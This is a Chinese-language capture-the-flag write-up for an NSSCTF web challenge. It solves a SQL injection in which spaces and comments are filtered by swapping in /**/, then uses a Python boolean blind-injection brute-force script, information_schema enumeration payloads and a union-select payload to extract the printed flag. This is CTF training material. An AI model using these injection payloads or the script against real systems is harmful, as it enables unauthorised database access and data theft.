题目链接

查询成功会输出 前有flag...

img

发现空格、注释符都被过滤 空格可用/**/替换

img

解法一

bool盲注

由于不可注释 最右会剩下一个没有闭合的单引号 可以构造bool盲注按照回显爆破信息

1
username=tarnisha'/**/or/**/'1'='1/**/	// √

爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import string
import requests
import time
alpha = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\",#$&'()*+-./:;<=>?@[\]^_`{|}~"
pswd = ''
while True:
flag = True
for i in alpha:
post_data = {"username": f"tarnisha'/**/or/**/database()/**/like/**/'{pswd+i}%"}
response = requests.post("http://node2.anna.nssctf.cn:28793/", data=post_data)
time.sleep(0.1)
if "flag" in response.text:
pswd += i
print(pswd)
flag = False
break
if flag:
break

常规流程查看数据库、表名、列名

1
2
3
4
tarnisha'/**/or/**/database()/**/like/**/'{pswd+i}%	// test
tarnisha'/**/or/**/(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='test')/**/like/**/'{pswd+i}% // flag,users
tarnisha'/**/or/**/(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag')/**/like/**/'{pswd+i}% // flag
tarnisha'/**/or/**/(select/**/group_concat(flag)/**/from/**/test.flag)/**/like/**/'{pswd+i}% // [_____[__[__[__c__,nssctf_884ed7db-9884-4e11-bd55-ae7a0e385a9f_

img

解法二

直接联合注入也可以 因为用户名找不到就直接使用联合后半部分的结果输出了

1
username=1'/**/union/**/select/**/database()/**/'

然后还是常规流程 注意最后展示flag要用substr截取 否则不知道为什么无法成功

1
username=1'/**/union/**/select/**/substr((select/**/group_concat(flag)/**/from/**/flag),1,60)/**/'

img

⬆︎TOP